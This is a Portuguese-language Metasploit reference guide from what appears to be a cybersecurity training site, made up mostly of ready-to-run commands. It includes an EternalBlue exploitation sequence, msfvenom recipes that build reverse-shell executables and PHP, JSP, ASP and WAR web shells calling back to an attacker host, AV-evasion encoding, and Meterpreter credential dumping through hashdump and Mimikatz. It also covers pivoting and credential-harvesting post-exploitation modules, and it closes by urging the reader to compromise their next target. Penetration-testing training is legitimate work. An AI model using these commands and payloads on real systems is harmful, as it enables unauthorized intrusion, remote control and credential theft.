Guia de Referência Metasploit

Referência completa do framework de exploração

Mais de 2000 exploits • Payloads • Pós-exploração • Comandos msfconsole

📅 Atualizado: Dezembro 2024⏱️ 25 min de leitura🔧 Metasploit 6.x

📑 Navegação rápida

Comandos básicos Pesquisa Exploits Payloads Meterpreter Pós-exploração Handlers Banco de dados

O que é Metasploit?

Metasploit Framework é o framework de testes de penetração mais usado no mundo. Originalmente desenvolvido por H.D. Moore em 2003, agora é mantido pela Rapid7. O framework inclui milhares de exploits, centenas de payloads e extensas capacidades de pós-exploração.

Metasploit vem pré-instalado no Kali Linux. A edição Community gratuita está disponível em metasploit.com.

📦 Instalação e inicialização

Kali Linux (Pré-instalado)

msfconsole

Iniciar com banco de dados

sudo msfdb init
msfconsole

Iniciar silencioso (sem banner)

msfconsole -q

Executar comandos ao iniciar

msfconsole -x "use exploit/..."

🧭 Comandos básicos de navegação

Comando Descrição
help Mostrar todos os comandos disponíveis
help <comando> Obter ajuda para comando específico
exit / quit Sair do msfconsole
back Voltar do módulo atual
banner Exibir banner aleatório
version Mostrar versão do framework
history Mostrar histórico de comandos
connect <ip> <port> Conectar ao host (como netcat)

🔍 Pesquisa de módulos

# Pesquisa básica
search <palavra-chave>

# Pesquisa por tipo
search type:exploit <palavra-chave>
search type:auxiliary <palavra-chave>
search type:post <palavra-chave>
search type:payload <palavra-chave>

# Pesquisa por plataforma
search platform:windows <palavra-chave>
search platform:linux <palavra-chave>

# Pesquisa por CVE
search cve:2021-44228

# Pesquisa por autor
search author:hdm

# Pesquisa combinada
search type:exploit platform:windows smb

# Pesquisa por rank (excellent, great, good)
search rank:excellent type:exploit

Tipos de módulos

exploit

Explorar vulnerabilidades

auxiliary

Scanners, fuzzers, etc.

post

Módulos de pós-exploração

payload

Shellcode e payloads

encoder

Codificação de payload

nop

Geradores de NOP

evasion

Módulos de evasão de AV

⚙️ Usando módulos

Comando Descrição
use <módulo> Selecionar um módulo para usar
info Mostrar informações do módulo
options / show options Exibir opções do módulo
show advanced Mostrar opções avançadas
set <opção> <valor> Definir valor da opção
setg <opção> <valor> Definir opção global (persiste)
unset <opção> Limpar valor da opção
show payloads Listar payloads compatíveis
show targets Listar alvos do exploit
check Verificar se alvo é vulnerável
run / exploit Executar o módulo
exploit -j Executar como job em background

📋 Exemplo: Exploração do EternalBlue

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploit

💣 Payloads

Tipos de payloads

Tipo Descrição
singles Payloads autônomos (não precisa de stager)
stagers Pequenos payloads que baixam o stage
stages Baixados pelos stagers (ex: meterpreter)

Payloads comuns

# Windows Meterpreter (staged)
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp

# Windows Meterpreter (stageless)
windows/meterpreter_reverse_tcp
windows/x64/meterpreter_reverse_tcp

# Linux Meterpreter
linux/x86/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp

# Shells simples
windows/shell/reverse_tcp
linux/x86/shell/reverse_tcp

# Payloads HTTPS (bypass de firewalls)
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https

💡 Staged vs Stageless

Staged (/) — payload inicial menor, baixa o meterpreter. Stageless (_) — payload completo, maior mas mais confiável. Use stageless quando restrições de rede podem bloquear o download do stage.

🎮 Comandos Meterpreter

Comandos principais

help Mostrar todos os comandos
background Colocar sessão em background
exit Terminar sessão meterpreter
sysinfo Informações do sistema
getuid ID do usuário atual
getpid ID do processo atual
ps Listar processos em execução
migrate <pid> Migrar para outro processo
shell Entrar no shell do sistema

Comandos de sistema de arquivos

pwd Mostrar diretório de trabalho
cd <caminho> Mudar diretório
ls Listar arquivos
cat <arquivo> Ler conteúdo do arquivo
download <arquivo> Baixar arquivo para o atacante
upload <arquivo> Enviar arquivo para o alvo
edit <arquivo> Editar arquivo com vim
search -f <padrão> Buscar arquivos

Escalação de privilégios

getsystem Tentar obter privilégios SYSTEM
getprivs Listar privilégios disponíveis
hashdump Extrair hashes de senhas (requer SYSTEM)
load kiwi Carregar extensão Mimikatz
creds_all Extrair todas as credenciais (kiwi)

Rede e pivoting

ipconfig / ifconfig Mostrar configuração de rede
arp Exibir cache ARP
route Ver tabela de roteamento
portfwd add -l <lport> -p <rport> -r <host> Encaminhamento de porta
run autoroute -s <subnet> Adicionar rota para pivoting

📡 Handlers e listeners

# Configurar handler para reverse shell
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
set LPORT 4444
run

# Executar como job em background
exploit -j

# Handler em uma linha
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <attacker>; set LPORT 4444; run"

🔗 Gerenciamento de sessões

Comando Descrição
sessions Listar todas as sessões ativas
sessions -i <id> Interagir com sessão
sessions -k <id> Encerrar sessão
sessions -u <id> Atualizar shell para meterpreter
sessions -c <cmd> Executar comando em todas as sessões

⚙️ Gerenciamento de jobs

jobs Listar jobs em execução
jobs -k <id> Encerrar um job
jobs -K Encerrar todos os jobs

🔧 Geração de payloads com Msfvenom

Msfvenom é usado para gerar payloads autônomos fora do msfconsole.

# Executável Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f exe -o shell.exe

# DLL Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o shell.dll

# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f elf -o shell.elf

# Shell PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.php

# Shell Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.py

# Shell JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.jsp

# Shell ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f asp -o shell.asp

# Arquivo WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f war -o shell.war

# Com encoding (evasão de AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o shell.exe

Opções do Msfvenom

-p Payload a usar
-f Formato de saída (exe, dll, elf, raw, etc.)
-o Arquivo de saída
-e Encoder a usar
-i Iterações de encoding
-b Caracteres a evitar (ex: \x00\x0a)
-l payloads Listar todos os payloads
-l formats Listar formatos de saída
-l encoders Listar encoders

🗄️ Comandos de banco de dados

# Inicializar banco de dados
sudo msfdb init

# Verificar status do banco de dados
db_status

# Criar workspace
workspace -a <nome>

# Trocar de workspace
workspace <nome>

# Importar scan do nmap
db_import nmap_scan.xml

# Executar nmap do msfconsole
db_nmap -sV -O <target>

# Ver hosts
hosts

# Ver serviços
services

# Ver vulnerabilidades
vulns

# Ver credenciais
creds

# Ver loot
loot

🎯 Módulos úteis de pós-exploração

# Windows
post/windows/gather/hashdump
post/windows/gather/credentials/credential_collector
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_applications
post/windows/manage/enable_rdp
post/multi/recon/local_exploit_suggester

# Linux
post/linux/gather/hashdump
post/linux/gather/enum_users_history
post/linux/gather/enum_system

# Multi-plataforma
post/multi/gather/ssh_creds
post/multi/recon/local_exploit_suggester

⚔️ Guia de referência Metasploit completo!

Você agora tem uma referência completa para o framework de exploração mais poderoso em cibersegurança. Da enumeração à exploração à pós-exploração, esses comandos são usados por testadores de penetração em todo o mundo.

Exploits Payloads Meterpreter Pós-exploração Msfvenom

Pronto para comprometer seu próximo alvo!

Validação de Conhecimento

Demonstre sua compreensão para ganhar pontos e progredir

1
Pergunta do Capítulo

Qual comando do Metasploit é usado para selecionar um módulo de exploit?

1
Ler
2
Validar
3
Concluir

Pronto para acompanhar seu progresso?

Crie uma conta gratuita para salvar seu progresso, ganhar pontos e acessar mais de 170 labs práticos de cibersegurança.

Comece a Aprender Grátis
Junte-se a 5.000+ hackers aprendendo cibersegurança com labs práticos. Criar Conta